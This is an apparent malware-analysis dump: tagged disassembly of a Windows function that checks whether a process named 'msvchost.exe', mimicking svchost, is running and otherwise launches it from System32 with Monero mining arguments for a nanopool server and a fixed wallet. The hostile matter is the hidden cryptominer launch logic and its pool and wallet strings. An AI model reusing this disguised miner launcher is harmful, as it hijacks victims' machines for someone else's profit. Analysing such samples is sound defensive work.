Function at 0x14008f7f0
Capabilities:
Create process on windows
Enumerate processes
Reference absolute stream path on windows

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x378
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x2f0], 0xfffffffffffffffe
mov qword [rbp + 0x2d8], rcx
lea rdx, [0x1402ad378]
lea rcx, [rbp - 0x30]
mov r8d, 0x20
call fcn.14021ae30
cmp dword [rbp - 0x30], 2
jne 0x14008f955
mov rax, qword [rbp - 0x28]
mov ecx, eax
and ecx, 3
cmp ecx, 1
jne 0x14008f8b4
lea rcx, [rax - 1]
mov qword [rbp + 0x270], rcx
mov rcx, qword [rax - 1]
mov qword [rbp + 0x2e0], rcx
mov rax, qword [rax + 7]
mov qword [rbp + 0x2e8], rax
mov rax, qword [rax]
test rax, rax
je 0x14008f87d
mov rcx, qword [rbp + 0x2e0]
call rax
mov rcx, qword [rbp + 0x2e0]
mov rax, qword [rbp + 0x2e8]
mov rdx, qword [rax + 8]
test rdx, rdx
je 0x14008f89d
mov r8, qword [rax + 0x10]
call fcn.1400fcbd0
mov edx, 0x18
mov r8d, 8
mov rcx, qword [rbp + 0x270]
call fcn.1400fcbd0
mov rax, qword [0x1403d2d38]
mov rax, qword [rax]
test rax, rax
je 0x14008f93b
lea rax, [0x1402ad610]
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], 1
mov qword [rbp - 0x20], 8
xorps xmm0, xmm0
movups xmmword [rbp - 0x18], xmm0
lea rcx, [0x1402ad620]
call fcn.1401a7c10
lea rcx, str.ICBM_INFO__Service_binary_path:
mov qword [rbp + 0x2a8], rcx
mov qword [rbp + 0x2b0], 4
mov qword [rbp + 0x2b8], rcx
mov qword [rbp + 0x2c0], 4
mov qword [rbp + 0x2c8], rax
lea rcx, [rbp - 0x30]
lea r8, [rbp + 0x2a8]
mov edx, 1
xor r9d, r9d
call fcn.1401a7b20
call fcn.140203920
mov rcx, qword [rbp + 0x2d8]
mov qword [rcx], rax
mov rax, rcx
mov dword [rcx + 8], edx
jmp 0x14008ffd7
mov ecx, 2
xor edx, edx
call qword [sym.imp.kernel32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
inc rax
cmp rax, 1
ja 0x14008f97e
call fcn.140203920
mov rbx, rax
test edx, edx
jne 0x14008fb7c
test rbx, rbx
je 0x14008fb6c
lea r14, [rbp - 0x30]
mov r8d, 0x238
mov rcx, r14
xor edx, edx
call sub.VCRUNTIME140.dll_memset
mov dword [rbp - 0x30], 0x238
mov rcx, rbx
mov rdx, r14
call qword [sym.imp.kernel32.dll_Process32FirstW]
test eax, eax
je 0x14008fbbf
lea r13, [rbp - 4]
lea rdi, [rbp + 0x204]
lea r14, [rbp + 0x280]
lea r15, [rbp + 0x2a8]
lea r12, [rbp - 0x30]
mov rsi, qword [sym.imp.kernel32.dll_Process32NextW]
nop word [rax + rax]
mov qword [rbp + 0x280], 0
mov qword [rbp + 0x288], 1
mov qword [rbp + 0x290], 0
mov qword [rsp + 0x20], 1
mov r8d, 0x82
mov r9d, 1
mov rcx, r14
xor edx, edx
call fcn.1402921d0
mov qword [rbp + 0x2a8], r13
mov qword [rbp + 0x2b0], rdi
mov word [rbp + 0x2b8], 0
mov rcx, r15
mov rdx, r14
call fcn.1400a2740
mov rax, qword [rbp + 0x280]
mov qword [rbp + 0x2e8], rax
mov r8, qword [rbp + 0x288]
mov rcx, qword [rbp + 0x290]
mov qword [rbp + 0x2e0], r8
jmp 0x14008fa7a
dec rcx
sub rcx, r8
test edx, edx
jne 0x14008faf9
test rcx, rcx
je 0x14008fb23
mov rax, rcx
add rcx, r8
movsx edx, byte [rcx - 1]
test edx, edx
jns 0x14008fa70
movzx r8d, byte [rcx - 2]
cmp r8b, 0xc0
jge 0x14008fac1
movzx r9d, byte [rcx - 3]
cmp r9b, 0xc0
jge 0x14008facb
movzx r10d, byte [rcx - 4]
add rcx, 0xfffffffffffffffc
and r10d, 7
shl r10d, 6
and r9d, 0x3f
or r9d, r10d
jmp 0x14008fad3
add rcx, 0xfffffffffffffffe
and r8d, 0x1f
jmp 0x14008fade
add rcx, 0xfffffffffffffffd
and r9d, 0xf
shl r9d, 6
and r8d, 0x3f
or r8d, r9d
shl r8d, 6
and dl, 0x3f
movzx edx, dl
or edx, r8d
mov r8, qword [rbp + 0x2e0]
sub rcx, r8
test edx, edx
je 0x14008fa7a
cmp rax, 0xc
jne 0x14008fb23
mov rax, qword [r8]
movabs rcx, 0x74736f686376736d
xor rax, rcx
mov ecx, dword [r8 + 8]
xor rcx, 0x6578652e
or rcx, rax
je 0x14008fc31
mov rcx, rbx
mov rdx, r12
call rsi
test eax, eax
jne 0x14008fb45
call fcn.140203920
mov qword [rbp + 0x2a8], rax
mov dword [rbp + 0x2b0], edx
test edx, edx
jne 0x14008fb8e
mov rdx, qword [rbp + 0x2e8]
test rdx, rdx
je 0x14008f9e0
mov r8d, 1
mov rcx, qword [rbp + 0x2e0]
call fcn.1400fcbd0
jmp 0x14008f9e0
call fcn.140203920
mov rbx, rax
test edx, edx
je 0x14008fc8b
mov rax, qword [rbp + 0x2d8]
mov qword [rax], rbx
mov dword [rax + 8], edx
jmp 0x14008ffd7
test rax, rax
je 0x14008fb9f
lea rcx, [rbp + 0x2a8]
call fcn.14010c210
mov rdx, qword [rbp + 0x2e8]
test rdx, rdx
je 0x14008fbea
mov r8d, 1
mov rcx, qword [rbp + 0x2e0]
call fcn.1400fcbd0
jmp 0x14008fbea
call fcn.140203920
mov qword [rbp + 0x2a8], rax
mov dword [rbp + 0x2b0], edx
test edx, edx
je 0x14008f9b6
test rax, rax
je 0x14008fbea
lea rcx, [rbp + 0x2a8]
call fcn.14010c210
mov rcx, rbx
call qword [sym.imp.kernel32.dll_CloseHandle]
test eax, eax
jne 0x14008fd3c
call fcn.140203920
mov qword [rbp + 0x2a8], rax
mov dword [rbp + 0x2b0], edx
test edx, edx
sete cl
test rax, rax
sete al
or al, cl
jne 0x14008fd3c
lea rcx, [rbp + 0x2a8]
call fcn.14010c210
jmp 0x14008fd3c
mov rcx, rbx
call qword [sym.imp.kernel32.dll_CloseHandle]
test eax, eax
jne 0x14008fc6b
call fcn.140203920
mov qword [rbp + 0x2a8], rax
mov dword [rbp + 0x2b0], edx
test edx, edx
sete cl
test rax, rax
sete al
or al, cl
jne 0x14008fc6b
lea rcx, [rbp + 0x2a8]
call fcn.14010c210
mov rdx, qword [rbp + 0x2e8]
test rdx, rdx
je 0x14008fc94
mov r8d, 1
mov rcx, qword [rbp + 0x2e0]
call fcn.1400fcbd0
jmp 0x14008fc94
test bl, 1
je 0x14008fd3c
mov rax, qword [0x1403d2d38]
mov rax, qword [rax]
cmp rax, 2
jb 0x14008fd1c
lea rax, str.msvchost.exe_is_already_running__skipping_execution.
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], 1
mov qword [rbp - 0x20], 8
xorps xmm0, xmm0
movups xmmword [rbp - 0x18], xmm0
lea rcx, [0x1402ad5b0]
call fcn.1401a7c10
lea rcx, str.ICBM_INFO__Service_binary_path:
mov qword [rbp + 0x2a8], rcx
mov qword [rbp + 0x2b0], 4
mov qword [rbp + 0x2b8], rcx
mov qword [rbp + 0x2c0], 4
mov qword [rbp + 0x2c8], rax
lea rcx, [rbp - 0x30]
lea r8, [rbp + 0x2a8]
mov edx, 2
xor r9d, r9d
call fcn.1401a7b20
lea rdx, str.msvchost.exe_is_already_running.msvchost.exe_not_found_in_System32.
mov r8d, 0x20
xor ecx, ecx
call fcn.140204070
xor ecx, ecx
call fcn.140203be0
jmp 0x14008f940
mov rsi, qword [0x1403d2d38]
mov rax, qword [rsi]
cmp rax, 3
jb 0x14008fdc4
lea rax, [0x1402ad3c8]
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], 1
mov qword [rbp - 0x20], 8
xorps xmm0, xmm0
movups xmmword [rbp - 0x18], xmm0
lea rcx, [0x1402ad3d8]
call fcn.1401a7c10
lea rcx, str.ICBM_INFO__Service_binary_path:
mov qword [rbp + 0x2a8], rcx
mov qword [rbp + 0x2b0], 4
mov qword [rbp + 0x2b8], rcx
mov qword [rbp + 0x2c0], 4
mov qword [rbp + 0x2c8], rax
lea rcx, [rbp - 0x30]
lea r8, [rbp + 0x2a8]
mov edx, 3
xor r9d, r9d
call fcn.1401a7b20
lea rax, str.C:WindowsSystem32msvchost.exe__o_xmr_eu2.nanopool.org:14433__u_49QjJy47SU1MGFX7Rep7TQUkGUvvTRqSx4HhzqBgMNwtRvxsXMd98sFZLULDV61ncxVr5kazj9asqctBxy6hWm462wGcBQT___tls___coin_monerowinsta0defaultSuccessfully_launched_msvchost.exe_with_mining_parameters.
mov qword [rbp + 0x210], rax
lea rax, [0x1402ad4a5]
mov qword [rbp + 0x218], rax
mov word [rbp + 0x220], 0
mov dword [rbp + 0x228], 1
lea rcx, [rbp + 0x258]
lea rdx, [rbp + 0x210]
call fcn.1400247b0
xorps xmm0, xmm0
movaps xmmword [rbp - 0x30], xmm0
movaps xmmword [rbp + 0x20], xmm0
movaps xmmword [rbp + 0x10], xmm0
movaps xmmword [rbp], xmm0
movaps xmmword [rbp - 0x10], xmm0
movaps xmmword [rbp - 0x20], xmm0
mov qword [rbp + 0x30], 0
mov dword [rbp - 0x30], 0x68
lea rax, [0x1402ad4a5]
mov qword [rbp + 0x2a8], rax
lea rax, [0x1402ad4b4]
mov qword [rbp + 0x2b0], rax
mov word [rbp + 0x2b8], 0
mov dword [rbp + 0x2c0], 1
lea rcx, [rbp + 0x280]
lea rdx, [rbp + 0x2a8]
call fcn.1400247b0
mov rdx, qword [rbp + 0x280]
mov rbx, qword [rbp + 0x288]
test rdx, rdx
je 0x14008fe96
add rdx, rdx
mov r8d, 2
mov rcx, rbx
call fcn.1400fcbd0
mov qword [rbp - 0x20], rbx
mov dword [rbp + 0xc], 1
mov word [rbp + 0x10], 0
xorps xmm0, xmm0
movaps xmmword [rbp + 0x230], xmm0
mov qword [rbp + 0x240], 0
mov rbx, qword [rbp + 0x260]
lea rax, [rbp + 0x230]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x30]
mov qword [rsp + 0x40], rax
movups xmmword [rsp + 0x30], xmm0
mov dword [rsp + 0x28], 0x400
mov dword [rsp + 0x20], 0
xor ecx, ecx
mov rdx, rbx
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.kernel32.dll_CreateProcessW]
test eax, eax
je 0x14008ffeb
mov rax, qword [rsi]
cmp rax, 3
jb 0x14008ff9a
lea rax, [0x1402ad4f0]
mov qword [rbp + 0x2a8], rax
mov qword [rbp + 0x2b0], 1
mov qword [rbp + 0x2b8], 8
xorps xmm0, xmm0
movups xmmword [rbp + 0x2c0], xmm0
lea rcx, [0x1402ad500]
call fcn.1401a7c10
lea rcx, str.ICBM_INFO__Service_binary_path:
mov qword [rbp + 0x280], rcx
mov qword [rbp + 0x288], 4
mov qword [rbp + 0x290], rcx
mov qword [rbp + 0x298], 4
mov qword [rbp + 0x2a0], rax
lea rcx, [rbp + 0x2a8]
lea r8, [rbp + 0x280]
mov edx, 3
xor r9d, r9d
call fcn.1401a7b20
mov eax, dword [rbp + 0x240]
mov rcx, qword [rbp + 0x2d8]
mov dword [rcx], eax
mov rax, rcx
mov dword [rcx + 8], 0
mov rdx, qword [rbp + 0x258]
test rdx, rdx
je 0x14008ffd7
add rdx, rdx
mov r8d, 2
mov rcx, rbx
call fcn.1400fcbd0
mov rax, qword [rbp + 0x2d8]
add rsp, 0x378
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
call fcn.140203920
mov qword [rbp + 0x2a8], rax
mov dword [rbp + 0x2b0], edx
test edx, edx
je 0x14008ff06
test rax, rax
je 0x140090016
lea rcx, [rbp + 0x2a8]
call fcn.14010c210
mov rax, qword [rsi]
test rax, rax
je 0x1400900e0
call qword [sym.imp.kernel32.dll_GetLastError]
mov dword [rbp + 0x27c], eax
lea rax, [rbp + 0x27c]
mov qword [rbp + 0x248], rax
lea rax, [0x140203470]
mov qword [rbp + 0x250], rax
lea rax, str.Failed_to_execute_msvchost.exe._Error:
mov qword [rbp + 0x2a8], rax
mov qword [rbp + 0x2b0], 1
mov qword [rbp + 0x2c8], 0
lea rax, [rbp + 0x248]
mov qword [rbp + 0x2b8], rax
mov qword [rbp + 0x2c0], 1
lea rcx, [0x1402ad550]
call fcn.1401a7c10
lea rcx, str.ICBM_INFO__Service_binary_path:
mov qword [rbp + 0x280], rcx
mov qword [rbp + 0x288], 4
mov qword [rbp + 0x290], rcx
mov qword [rbp + 0x298], 4
mov qword [rbp + 0x2a0], rax
lea rcx, [rbp + 0x2a8]
lea r8, [rbp + 0x280]
mov edx, 1
xor r9d, r9d
call fcn.1401a7b20
call fcn.140203920
mov rcx, qword [rbp + 0x2d8]
mov qword [rcx], rax
mov rax, rcx
mov dword [rcx + 8], edx
mov rdx, qword [rbp + 0x258]
test rdx, rdx
jne 0x14008ffbf
jmp 0x14008ffd7